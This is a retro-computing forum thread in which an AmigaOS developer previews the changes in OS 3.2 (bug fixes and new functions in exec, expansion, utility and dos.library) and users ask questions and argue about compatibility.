https://www.bountysource.com/issues/80706251-m68k-convert-the-backend-to-mode_cc-so-it-can-be-kept-in-future-releases
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 24, 2019, 04:18:19 PM
Btw - what C compiler(s) is OS3 development currently relying on?

The same it was always relying upon: SAS/C for the C parts, and h68x and the SAS assembler for the assembler parts. The dependencies from Lattice C 5 and the Greenhill C compiler were removed in 3.1.4 (yes, there were really three compilers necessary for 3.1).
Title: Re: Os 3.2 development preview
Post by: F0LLETT on October 24, 2019, 05:40:38 PM
OK, Enough.

Any more and this thread will be locked and people delt with.
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 06:15:37 PM
As you observe from your script, the functionality of WBRun is - as said - just a one-liner in Rexx.
No, to replace wbrun of bb2, it is not really a one-liner, but whatever.
Quote
I hope you understand now better why I consider WBRun as program as rather low value. Even an alias would be able to replace it.


It seems like my entire point flew over your head - wbrun, the binary, as well as my wrapper script above, should be redundant, as wbload should just do it all already. All the time you have wasted ranting about me and whatnot, you could have implemented it already - easily. And then the popular assumption, that wbload is a “sort of wbrun replacement” would be true - less confusing for everyone.

PS: do you consider the fact that wbload only searches current working directory for default tool... a bug, or a feature?

PPS: with inclusion of DefIcons this becomes even more confusing - will or should WBLoad use deficons for files that lack icons? Or will it, as you suggested earlier, attempt to load them CLI style?
Title: Re: Os 3.2 development preview
Post by: Tygre on October 25, 2019, 12:35:29 AM
@kolla

PPPS. Stop addressing (i.e., trolling) Thomas. Please start a thread about the differences, pros, and cons of WBRun, WBLoad, your scripts, and any other related programs in a different thread.
Title: Re: Os 3.2 development preview
Post by: F0LLETT on October 25, 2019, 09:15:31 AM
Last warning, before thread is locked.
I know it can be hard to not post sometimes, but please try.
Title: Re: Os 3.2 development preview
Post by: demon-knight on October 26, 2019, 12:51:42 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 26, 2019, 02:59:23 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?

I afraid the situation hasn't improved. The issue is that we don't get the CD32 on-board IDE working reliably as it seems to be based on some cost-reduced version of the original chipset, and the auto-detection logic for the IDE used for all other boards does not work there.

Thus, even though there are some compile-time flags in 3.1 that enable or disable support for it, the corresponding code does not work anymore, and we lack documentation on the CD32 to make it working.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 26, 2019, 03:08:19 PM
There is no way to sniff it out with a debug option from a working machine? Or disassemble it? :-\
Title: Re: Os 3.2 development preview
Post by: demon-knight on October 26, 2019, 05:07:55 PM
Ah man, I'm guessing the documentation was lost over time or never existed.
Such a shame, I understand it's down to time, money and resources.

Long term what will happen with rom space, do you plan on moving more out of rom and onto disk for ease of updating?
 
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 26, 2019, 06:27:20 PM
Long term what will happen with rom space, do you plan on moving more out of rom and onto disk for ease of updating?
Long term, we probably have to move more components out. Audio, mathffp and mathieeesingbas are not essential either and may probably go at some point.

For 3.2, there will be an update mechanism where the ROM looks for updates from disk by itself, so for a couple of modules, updates may be more easily installed.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 26, 2019, 07:37:43 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?

I afraid the situation hasn't improved. The issue is that we don't get the CD32 on-board IDE working reliably as it seems to be based on some cost-reduced version of the original chipset, and the auto-detection logic for the IDE used for all other boards does not work there.

Thus, even though there are some compile-time flags in 3.1 that enable or disable support for it, the corresponding code does not work anymore, and we lack documentation on the CD32 to make it working.

Would it help to talk to Stephen "Terrible Fire"? He did a lot of work with the CD32s IDE to get his accelerator to work.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 26, 2019, 08:28:48 PM
I'm pretty sure it is about the non-standard CD interface.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 27, 2019, 01:52:01 AM
I'm pretty sure it is about the non-standard CD interface.

Horrors! Commodore not using a standard interface - say it ain't so. I'm sure they always did everything exactly by the book! Maybe the court jester's book that changed every day ending with a "Y" but they must have followed some kind of standard mustn't they? Right? Right?

<sound of crickets in an otherwise silent room>
Title: Re: Os 3.2 development preview
Post by: psxphill on October 27, 2019, 10:38:33 AM
I'm pretty sure it is about the non-standard CD interface.

There wasn't a standard CD interface in 1993.

ATAPI came out in 1994 & the first games console using ATAPI was the dreamcast in 1999. Although it would take until the xbox in 2001 before the standard connector was used. In neither case were the drives actually standard either.

As the CD32 CD drive doesn't use ATAPI, then it shouldn't have any effect on the ATA port.

I don't know a lot about the CD32, but AFAIK it doesn't have built in ATA anyway. I can't tell if the CD32 debug board has extra logic or not, but it seems it requires a custom kickstart. Whether the ATA port on any of the other accelerators works in the same way, I don't know. It may be the compile time options are only for the debug board.

Title: Re: Os 3.2 development preview
Post by: kolla on October 27, 2019, 11:09:44 AM
I don't know a lot about the CD32, but AFAIK it doesn't have built in ATA anyway.

Correct.
CD32 expansion boards typically come with A600/A1200 style "gayle" controller, and one can attach ATAPI CD drives there.
Title: Re: Os 3.2 development preview
Post by: slaapliedje on October 29, 2019, 11:22:56 PM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.
Title: Re: Os 3.2 development preview
Post by: psxphill on October 29, 2019, 11:33:52 PM
CD32 expansion boards typically come with A600/A1200 style "gayle" controller, and one can attach ATAPI CD drives there.

I think the "official" commodore debug boards require a custom kickstart because they don't work quite/at all like gayle, which is probably what the #if's are for & therefore probably a red herring.

AFAICT the SX1 & SX32 work with the standard a1200 scsi.device
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 30, 2019, 12:38:18 AM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.

The 3.1.4.1 FAQ on Aminet covers everything new. Old stuff should be covered by the good old 3.1 manual except some specific topics.

I am writing the current AmigaOS 3.2 FAQ, which is the nearest thing to a manual. It currently covers more than 100 topics.

I could certainly write a book about 3.2, but it would unfortunately take me about six months. And I am not so sure there is a market for it, or even worth spending my time on it.
Title: Re: Os 3.2 development preview
Post by: kolla on October 30, 2019, 11:38:03 AM
AFAICT the SX1 & SX32 work with the standard a1200 scsi.device
Yes, I can confirm for SX32 Pro and TF328 (boards I have), and the same is also the case for TF330 and TF360, as well as Witcher-CD32 from what I know.
Title: Re: Os 3.2 development preview
Post by: slaapliedje on October 30, 2019, 10:41:00 PM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.

The 3.1.4.1 FAQ on Aminet covers everything new. Old stuff should be covered by the good old 3.1 manual except some specific topics.

I am writing the current AmigaOS 3.2 FAQ, which is the nearest thing to a manual. It currently covers more than 100 topics.

I could certainly write a book about 3.2, but it would unfortunately take me about six months. And I am not so sure there is a market for it, or even worth spending my time on it.
I'd buy a copy, even of it were a digital version.  There are some things not in the 3.1 manual I already found that I was curious about, like when to choose Direct SCSI in HD toolbox?
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on November 03, 2019, 06:47:22 PM
@Thomas Richter

Can you change the showconfig output to format the mem range to be aligned to the right, like, by adding 0s or spc before hex values? Would be nicer, i think. More like a proper table.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 16, 2019, 04:49:30 AM
Also, would be nice to have the ED menu's shortcut keys formatted as right-justified.  With a non-proportional font, it is not aligned properly. 
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 16, 2019, 08:24:43 AM
Also, would be nice to have the ED menu's shortcut keys formatted as right-justified.  With a non-proportional font, it is not aligned properly.
Ed uses gadtools to build its menus, and just injects its shortcuts into the regular menu text - which means that gadtools has no clue that a special formatting has to be applied to them. Of course, one could build the menu manually, and then position all the items manually, but is it really worth it?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 18, 2019, 05:29:11 AM
When you say manually -- do you mean through the ed-startup?

Also, would be nice to have the ED menu's shortcut keys formatted as right-justified.  With a non-proportional font, it is not aligned properly.
Ed uses gadtools to build its menus, and just injects its shortcuts into the regular menu text - which means that gadtools has no clue that a special formatting has to be applied to them. Of course, one could build the menu manually, and then position all the items manually, but is it really worth it?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 18, 2019, 06:02:42 AM
I was checking out Ed in 4.1 and when I use the "ESC" in caps in the "si" command for the menu item string it gets right-justified.  If I use "esc" instead in lower-case within the menu item string, it does not.  So looks like some additional parsing was added in Ed in 4.1 that is not there in Ed of 3.x.

When you say manually -- do you mean through the ed-startup?

Also, would be nice to have the ED menu's shortcut keys formatted as right-justified.  With a non-proportional font, it is not aligned properly.
Ed uses gadtools to build its menus, and just injects its shortcuts into the regular menu text - which means that gadtools has no clue that a special formatting has to be applied to them. Of course, one could build the menu manually, and then position all the items manually, but is it really worth it?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 18, 2019, 06:31:30 AM
No, "manually" means: Creating intuition menus by hand rather than through gadtools. gadtools cannot align anything in its menus, and does not know what is meant as a short-cut and what is ordinary text. No, it's not worth it. There are better editors than ed out there anyhow.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 21, 2019, 04:23:43 AM
Thanks -- yeah seems like a lot of work.  Perhaps this could be changed to use the "System Default Font" for the menu items which is a proportional font.   When I opened up the old Memacs on Workbench in a Workbench window, it seemed to used Topaz for the menu items and the menu bar used the "Screen Font"   

No, "manually" means: Creating intuition menus by hand rather than through gadtools. gadtools cannot align anything in its menus, and does not know what is meant as a short-cut and what is ordinary text. No, it's not worth it. There are better editors than ed out there anyhow.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 22, 2019, 01:33:24 PM
So, probably time to start with a series of posts describing the changes for 3.2. Exec is first.

There is not so much about exec, really. 3.1.4 brought one new bug into exec, namely the Alert AN_BadFreeAdr, which was triggered on a bad memory release, forgot to restore one register and hence caused another crash afterwards. This was fixed by SetPatch of 3.1.4.1, and now the fix was migrated into the code.

There is another series of fixes, though of old bugs. Alert() in general had a series of problems. First, it did not save all registers. Thus, in case ROMWack was entered later on, the register file was partially overwritten and thus made a post-mortem debug with ROMWack rather pointless. Also, ROMWack tried to detect the CPU type - by the same function exec uses during bootstrap. This sounds fine, but it is customary these days to move the vector base register out of the zero-page, and this is something the mentioned CPU-detection algorithm did not expect - it rather moved it back. Sometimes with fatal side effects. The code is now more careful in not touching VBR if it does not have to. The problem of the lost registers must have been introduced somewhere in the v37 series because the 1.2 kickstart did better.

Unfortunately, this is not sufficient to make ROMWack happy because there is another way how to enter it - namely through the dos.library "Alert" requester. ("Software error - task held..."). Unfortunately, this requester *also* overwrote the registers, and it neither saved the stackframe of the crash. The latter is, however, important to be able to debug a crash with the ROMWack. Thus, the dos.library exception vector - aka the error requester - was improved by saving all registers, and by also making a copy of the exception stack frame. If the user presses "cancel", the stack frame and the registers are restored, and the code enters the default exec error handler, which again points by default to the ROMWack.

Thus, ROMWack should have been become a lot more useful than before as it has access to the important registers and the stack frame causing the problem.
Or, use a debugger in first place...

There is much more to be said about the dos.library, but this is for a later episode.

Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 22, 2019, 04:34:58 PM
Thus, in case ROMWack was entered later on, the register file was partially overwritten and thus made a post-mortem debug with ROMWack rather pointless.

Is ROMWack back in 3.1.4?   Based on this info: https://theamigamuseum.com/amiga-kickstart-workbench-os/guru-meditation/, it was removed in 3.0?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 22, 2019, 04:58:36 PM
Is ROMWack back in 3.1.4?   Based on this info: https://theamigamuseum.com/amiga-kickstart-workbench-os/guru-meditation/, it was removed in 3.0?

Yes, it is back. SAD was not really useful...
Title: Re: Os 3.2 development preview
Post by: kamelito on November 22, 2019, 06:50:47 PM
I guess there’s no room for Cop...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 22, 2019, 07:24:26 PM
I guess there’s no room for Cop...
Not really, besides - it is not ROMable. I was considering to add something like a "miniCOP" at some point, but not for 3.2, no.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 23, 2019, 05:14:50 AM
Is ROMWack back in 3.1.4?   Based on this info: https://theamigamuseum.com/amiga-kickstart-workbench-os/guru-meditation/, it was removed in 3.0?

Yes, it is back. SAD was not really useful...


I'm getting this hit in 3.1.4.1 -- is this one of things getting fixed?  Guru 8000 0004.   This is executing the Workbench Debug->Debugger menu item.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 23, 2019, 07:28:05 AM
I'm getting this hit in 3.1.4.1 -- is this one of things getting fixed?  Guru 8000 0004.   This is executing the Workbench Debug->Debugger menu item.
That is exactly the problem I mentioned. The ROMWack assumes that the VBR is at 0, which it is not if MuForce or some other tool moved it. So, yes.
Title: Re: Os 3.2 development preview
Post by: kamelito on November 23, 2019, 08:27:05 AM
Is it possible to hook a PC instead of an Amiga over serial?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 23, 2019, 08:37:01 AM
Is it possible to hook a PC instead of an Amiga over serial?
Yes, of course. You need a 21-pin to 9-pin adapter, and potentially an additional serial-to-USB adapter. Even more exotic combinations are possible. I used an Atari 800XL with a 850XL serial interface box as "debug terminal" for several years. COP has its own serial console protocol which was exactly the protocol the Atari 800XL terminal program ("DASB") spoke - this is why it looks so weird ("COP terminal type 3" = "DASB"). Only recently COP learned to speak VT110.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 23, 2019, 08:46:47 AM
More progress: Expansion.

There were still some interesting issues in expansion. In case a RAM-board was unsized and requested auto-sizing by the Os, the Os overwrote the last byte behind the indicated slot size and thus might have trashed another expansion sitting behind it. This was still an old bug from 3.x times of which I do not know when exactly it was made.

Another old bug was the A3000 superkickstart support. What this does is that the code attempts to check whether the MMU is active, and maps the upper 512K RAM to a kickstart image. If so, the A3000 expansion skips this memory region, and does not insert it into the memory list. Or at least, it attempted to do so. Due to a logic error, expansion tested the wrong bit in the MMU configuration register and thus tested the bit whether there is a supervisor MMU table present, and only performed the mapping *if not so*. Instead, it should have tested the MMU-enable bit, and perform the superkickstart logic only if this bit is *set* (not clear). This stole 512K for A3000 users using the mmu.library which does enable the MMU, and uses "supervisor" MMU tables. The 3.1.4.1 SetPatch installs a workaround to merge the upper 512K into the memory list in such cases, though 3.2 will fix the problem at its root. Again, an old bug that survived.

Then, another issue with file systems. Expansion configures file systems with 600 bytes of stack, which is a bit short. This increases now to 1024 bytes. Actually, it is more complicated that this: The stack size in the DosList structure is measured in bytes for C-style handlers, and in longwords for BCPL-style handlers. Thus, if expansion leaves there a "256", this is fine for BCPL style handlers (256*4=1024), but way, way, way too short for C-style handlers (256 bytes!). This problem was addressed in the dos.library and system-startup, though.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 23, 2019, 04:05:33 PM
For Ed, I've noticed default buffer size is 65496 bytes.   Previously, in "ED 2.0", it was 59960.  Documentation manual shows SIZE default as 40,000.   I'm just wondering if the "Buffer size" shown in the "About" menu (ESCsh) is same as SIZE parameter.

If I specify SIZE of 40,000, "Buffer size" shows up as 39960. 

This isn't something that I'm trying to report as bug a but just trying to understand...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 23, 2019, 04:24:39 PM
The default buffer size is 64K precisely (65536 bytes). Ed removes from that something it calls "SAVETYAREA", which is precisely 40 bytes large. Not quite clear what this is good for.
Title: Re: Os 3.2 development preview
Post by: kamelito on November 23, 2019, 11:29:39 PM
I remember Olsen writing about the CBM bug database are you also fixing those bugs?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 08:58:14 AM
I remember Olsen writing about the CBM bug database are you also fixing those bugs?

The bug database is only half as useful as it may seem. The problem is that it often relates to products we do not have, does not list methods how to reproduce, and (obviously) does not allow us to contact the persons that reported the bugs for reproduction. It also includes feature and improvement requests that are often not very reasonable.

For example, concerning the shell, I remember a feature request on "Execute" saying it should use shell variables instead of the bizarre pattern substitution Execute does nowadays. To give you some insight, if you write ".key foo" and then "echo <foo>" in a shell script, it is the Execute program that finds <foo> as pattern, and replaces it by the argument before feeding the result back into the shell - so despite the word, "Execute" does not execute anything, it only does argument substitution. Shell variables, such as $foo, are however substituted by the shell.

Now, the author of this bug report requests to clean up the mess, and use shell variables all the way.

What can we say? Yes, correct observation. Execute is, indeed, a mess. However, it doesn't help. There are too many Shell scripts in existence to allow such a radical change in the syntax and logic to make it worthwhile, so we did not. Instead, Execute received a renovation (actually, a rewrite) to understand numeric and multi-arguments, and to handle them correctly, while staying compatible with the syntax that grew historically.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 10:22:35 AM
The next ROM component: Utility.

The utility.library contains several utility functions for tag lists, arithmetics, ID generation and so on. We haven't found any old or new bug in it, but extended its capabilities. One of the things that happened is that the long division functions (32/32 division) for the 68K processor were not very adequate as they used a rather slow "egyptian" division algorithm that generates its results by shifting and subtraction. Well, it works, but it is slow, so it was replaced by a better performing "Algorithm D" implementation by Knuth.

It is also weird that we do have a 32x32->64 multiplication, but no 64/32 division function in utility. The latter is, in fact, required by multiple Os components that handle large disk drives, so two functions for that were added, a signed and a unsigned quad-word division. For the 68020 to 68040, it uses the long division of the processors, for the 68000, a long Algorithm D implementation is used, and for the 68060, a similar algorithm D implementation as well as this processor lacks a 64 divide.

Utility also includes a set of new string functions. Strncpy() which is a length-limited string copy receiving a target buffer and a target buffer size. Unlike its ANSI counterpart strncpy, it always NUL-terminates its destination, and returns in case of success the pointer to the terminating NUL character for easy string concatenation, or NULL for buffer overflow, with a partial string then having been copied and terminated.

Strncat() concatenates strings into a length-limited buffer, using the same type of interface, and Snprintf() is a string-formatting function into a lenght-limited buffer on top of the exec RawDoFmt() function, quite similar to ANSI snprintf(), just that it returns the required buffer size, not the size of the result string. This helps to prevent the usual "off-by-one" error one typically runs into by confusing buffer sizes and string lengths.
Title: Re: Os 3.2 development preview
Post by: kolla on November 24, 2019, 11:34:26 AM
Hm, so new functions... now it will be possible to write code that relies on this new utility.library, and hence on OS 3.2.

How clever is that?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 11:43:10 AM
How clever is that?
Extending an API in a backwards compatible way to make things simpler? About 9 on a scale from 0 to 10.
Title: Re: Os 3.2 development preview
Post by: kolla on November 24, 2019, 12:56:20 PM
So, when writing software one can...
- require OS 3.2
- check for version of utility.library and use those functions only when available, and use own custom code when not
- ignore new functions and use own code and rely strictly on what exists in pre-3.2 to make sure software runs equally well on anything OS3.

If you were a third party software developer, which would you go for?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 01:06:17 PM
So, when writing software one can...
- require OS 3.2
Yes.

- check for version of utility.library and use those functions only when available, and use own custom code when not
Or just fail if the library is not the minimum required version, yes.

- ignore new functions and use own code and rely strictly on what exists in pre-3.2 to make sure software runs equally well on anything OS3.
Yes.

If you were a third party software developer, which would you go for?
And why should that prevent us to offer new functions that are used by the Os itself at least?
I wonder how CBM ever managed to get Os 2.0 out of the door.
Title: Re: Os 3.2 development preview
Post by: CBH on November 24, 2019, 01:41:08 PM
I struggle to see the problem with correcting and extending the operating system in a backwards compatible way. Other than bugfixes, it's the entire point of making a new release.

It's definately better than the 3.5/3.9 approach of "here's some shit we downloaded off amibay, hope you have a thousand euros worth of upgrades to run it properly".
Title: Re: Os 3.2 development preview
Post by: kamelito on November 24, 2019, 01:54:50 PM
So I guess that 3.2 should be release with an updated SDK.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 01:57:35 PM
So I guess that 3.2 should be release with an updated SDK.
Indeed, yes. We already have new include files and new autodocs, and a new amiga.lib, though there is still the need to create a makefile to collect everything.
Title: Re: Os 3.2 development preview
Post by: kolla on November 24, 2019, 02:15:30 PM
@CBM

You know who wrote a lot of that “shit” that was tossed into OS 3.5 and 3.9? :)

Also a lot of that “shit” is what is now further developed in OS 3.2 - 3.1.4 was not a “clean cut” start from OS 3.1 sources, many components came from OS 3.9, because why not.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 24, 2019, 02:25:16 PM
Also a lot of that “shit” is what is now further developed in OS 3.2 - 3.1.4 was not a “clean cut” start from OS 3.1 sources, many components came from OS 3.9, because why not.
Not because "why not", but because "there are programs out there that depend on it", where "it" = "the reaction classes". And yes, they have been bought, from the income of 3.1.4. There will be also some articles about what happened with them because not all of them were in good shape, and we found quite a number of defects that have been addressed - and are still in the process of getting addressed.

Yet, the operating system GUI will still be based on gadtools to a major degree - though on gadtools V47 which allows font-sensitive, rescalable GUIs that are more lightweight than reaction, keeping the restrictions of lower end machines in mind.

What we do not have are contributions from H&P such as the reaction based preference editors, or third party contributions that came into 3.9 through individual negotiations.
Title: Re: Os 3.2 development preview
Post by: CBH on November 24, 2019, 04:36:59 PM
@CBM

You know who wrote a lot of that “shit” that was tossed into OS 3.5 and 3.9? :)

Also a lot of that “shit” is what is now further developed in OS 3.2 - 3.1.4 was not a “clean cut” start from OS 3.1 sources, many components came from OS 3.9, because why not.

The shit in question is not updated OS components, those are a good idea.

The shit I mean is all the extra bundled stuff trying to make amigas dress up like a PC running windows 98. preinstalled glowicons, the dock, a cd player and a winamp clone both with hideous skins. This stuff is no use to anyone as it needs an RTG environment and fast CPU to be useful (open the CD player and watch your chipram vanish), and there's better alternatives out there.

These releases didn't improve the OS functionality where it counts (RTG, RTA, TCP/IP), it just included third party solutions on the CD. I can download Picasso96, I don't need pay someone for it on a CD.

Compare this to 3.1.4/3.2 which are purely about improving the OS itself, not throwing it into a package with some third party stuff.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on November 24, 2019, 07:32:13 PM
 I don't see any problem in expanding capabilities in new OS versions or even break compatibility at some point.
If someone writes new code than choose your target platform wisely. If you rely on 3.2 API you should ask for the right library version in the first place. :)
Title: Re: Os 3.2 development preview
Post by: kolla on November 24, 2019, 08:01:36 PM
So now fragmentation is a good thing?
Title: Re: Os 3.2 development preview
Post by: kamelito on November 24, 2019, 08:04:39 PM
Is not upgrading an OS a good thing?
Title: Re: Os 3.2 development preview
Post by: paul1981 on November 24, 2019, 08:39:34 PM
I struggle to see the problem with correcting and extending the operating system in a backwards compatible way. Other than bugfixes, it's the entire point of making a new release.

Hear hear!
Title: Re: Os 3.2 development preview
Post by: trekiej on November 24, 2019, 10:23:49 PM
Sorry if this has been asked, is there a list of features for this release?
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on November 25, 2019, 04:08:08 AM
Sorry if this has been asked, is there a list of features for this release?

https://forum.amiga.org/index.php?topic=74270.msg845770#msg845770
Title: Re: Os 3.2 development preview
Post by: Gulliver on November 25, 2019, 04:11:03 AM
Sorry if this has been asked, is there a list of features for this release?

https://forum.amiga.org/index.php?topic=74270.msg845770#msg845770

Be warned that the list is now outdated.
3.2 now has even more features than those mentioned.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 25, 2019, 07:35:07 AM
Be warned that the list is now outdated.
I will cover features, component by component. Though it will take a while since the list is expanding.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on November 25, 2019, 08:13:07 AM
More components: dos.

The dos.library was actually Tripos, an operating system of its own until CBM bought it, and integrated it into AmigaOs. For Os 2.0, the BCPL source was completely replaced by an assembler/C implementation that came from "arp", the "Amiga Replacement Project", available independently for Kickstart 1.3.

For 3.2, we made more modifications to this antique core. First, we have a new dos.library function that acts as a "hook" whenever the dos.library attempts to bring up the "Please insert..." requester. An external program can hook in there, and can improve the requester, or offer more choices. In fact, Os 3.2 ships with such a program, namely "AssignWedge". The AssignWedge offers the functionality to also mount a handler, or deny a request for a specific volume from that point on. The "Assign" command can then be used to remove such a permanent denial.

Then we have an increased stack size for built-in handlers. In 3.1.4 and before, SetPatch took care of increasing their stack, but the defaults have never been touched. In 3.2, these defaults grew. It is, however, no longer the dos.library that mounts them, see below

The System() call received new tags: SYS_Error specifies an error output stream, which is mirrored by the CreateNewProc tags NP_Error and NP_CloseError that never worked before. This error ouptut stream defaults to the standard output if not defined, but may be given to redirect error messages to a separate stream. The shell offered support for error redirection since ever by means of the "*>" redirection token, but it wasn't very useful since many commands did not use it.

This changes for 3.2: First, the dos.library internal function PrintFault() uses it now, and we have also new calls to receive it (ErrorOutput()), to write a string through it (PutErrStr()) or to change it (SelectError()). All internal commands and commands in C: have been extended to use this new error stream, allowing you to separate error from regular output. Note well: If there is no error output redirection, the error output goes into the standard output for compatibility reasons, but if "*>" is explicitly given, stderr goes to some separate file.

Then, we have SYS_CmdStream as a new tag for System(), which tells the call that instead of taking the commands to be executed from a file rather than its first argument. This sounds fairly harmless, but provides an important new feature. Before that, let me also say that SYS_Asynch now also works for System() in case the command string is empty, and thus if SYS_CmdStream is used instead.

Now, what is all the fuzz about it? With SYS_CMdStream = Open("S:Shell-Startpup"), SYS_Output=Open("CON:") and SYS_ASync=TRUE, you can now create a new CLI, similar to "NewShell". Actually, the "NewShell" command and SYS:System/CLI do now exactly that, and the archaic and undocumented method by which NewShell used to operate is opsolete and has been removed. One piece of BCPL junk less, yay!

This said, the whole interface towards the shell has been simplified. We used to have three (actually, four!) methods how a shell can be launched: One at system startup, one when the user used the "Run" command or the "System()" dos.library function, and one for "NewShell", and the shell had to fiddle out what the user wanted to do, and then had to call into three also mostly or completely undocumented functions, CliInit(), CliInitNewCli() and CliInitRun() to get initialized.

This is of course utterly complex and error prone. Now that "NewCli" goes through "System()", "CliInitNewCli()" is obsolete and no longer needed. And, due to another change, "CliInit()" is also obsolete. I come to that in a minute.

So, what happens if the system boots up: Well, the dos.library is initialized, then the dos.library used to initalize the shell, then starts the shell, the shell is supposed to understand what the system wants from it through an archaic and mysterious interface whose documenation is hard to find and to digest, then calls into CliInit(). CliInit() then mounts all the handlers, opens the startup-sequence, and returns to the shell, which then runs the startup-sequence. Thus, this used to be like "ping-poing":

Dos->(CreateProc())->Shell->(CliInit()->)Dos->Shell

Yummie. All this changed in 3.2. The system startup procedure which was part of the mysterious and undocumented CliInit() function was removed from the dos.library whatsoever, and moved into a separate system component, "System-Startup". It resides in ROM, or in L: for those that go for a software-only upgrade, and is loaded there by LoadModule. So the procedure looks like this now:

Dos->(CreateProc())-System-Startup->Shell.

No ping-pong. What System-Startup does is what CliInit() used to do, and a lot more. So it mounts all the handlers, all the volumes, creates the default assigns like S:, DEVS:, L: and C:, and then creates the boot shell, by the mechanism discussed above: System(), with SYS_CMDStream=Open("S:Startup-Sequence") and SYS_OUtput=Open("CON:...").

Thus, CliInitNewCli() done for good, CliInit() done for good, and the only init mechanism the shell is left with is CliInitRun(), everything else was removed. Thus, no longer any guesswork as what to call, and a very simple mechanism to get the shell going.

We have a couple of other improvements as well:
- ExAll() had a bug by forgetting to pass an argument to a potential error requester and thus could crash or show nonsense on errors.

- All the BCPL inherited I/O functions such as FWrite or FRead were terribly slow. They made single-byte-I/O, going through three function layers to get data, and thus delayed all operations down that depended on them, such as the icon.library which uses FRead to read icons. FRead() and FWrite() have been rewritten to make fast block I/O, and "burst" directly into the user buffer if possible without going through an internal buffer, hopefully also speeding up the icon.library and many other system components that use them.

- System() ignored the NP_Name tag. Instead, a new process created by it was always named "Background CLI". Now you can name it as you like. For example, "Initial CLI", the name used by System-Startup (obviously!).

- System() had more problems in erraneously releasing file handles in case of failure. The interface specification say that the file handles remain open and untouched in case of failure, but did not always do so. This might have caused hard to trace bugs in low-memory situations.

- There was some confusion about the stack size of file handlers. Unfortunately, the default stack size of a handler is measured in bytes for C-style handlers, and in long words for BCPL-style handlers, thus caused some mismatch if the dos.library adjusted them. In fact, the 3.1 SetPatch increased the stack size of the internal handlers to something like 16K instead of 4K due to this mismatch in units. We fixed that.

- Speaking of stack sizes, handlers may now contain a magic "$STACK:" token that indicates a minimum stack size they want to have. If such a stack token is present, the default stack size is increased to this minimum size. It is always measured in bytes, regardless of the handler type. Thus, there is no longer any guessing necessary as what to put into the "Stack" mount line as the handler can communicate this now itself.

- WFPrintf() has some issues with invalid templates for its arguments.

- Speaking about the ROMWack, I already mentioned in exec that the exec default exception handler preserves now registers for the system debugger. Unfortunately, the dos.library default Alert requester ("Software error, Task held...") did not. Now, 3.2 will fix that and the Alert requester will store the stack frame away and restore it when the system debugger kicks in. Thus, post-mortem debugging with ROMWack should finally work again. This was broken somewhere on the road from Kickstart 1.2 to 1.3 (yes, really that old!).

- Mounting BCPL handlers leaked 20 bytes of memory. Another fix of an ancient bug.

- Finally, the CLI structure was extended. It now contains also the history. The new ExtendedCommandLineInterface structure is created by AllocDosObject(), and you better use that function to create CLIs as otherwise the "history" command of the shell does not work. Of course, all system functions use it, and as of 3.2, ARexx was updated to go through AllcoDosObject() instead of rolling its own CLI. As said, legacy code that does not will continue to work, but then "history" will print an error as the CLI is unextended. The shell will continue to work, though. I haven't observed this case in the wild, yet, as most programs create CLIs through either System() or "NewCLI" and both are of course fine.

There is more that needs to be said about System-Startup as this new system module does now a lot more than CliInit(), but I leave this for a later episode. This one is long enough.


Title: Re: Os 3.2 development preview
Post by: kamelito on November 25, 2019, 09:38:25 PM
Maybe you could make a debug version of the KS that include a Romable Cop that could be triggered using an NMI (using a key or combination of keys) and that trap all exceptions and trigger the monitor during a crash.
Title: Re: Os 3.2 development preview
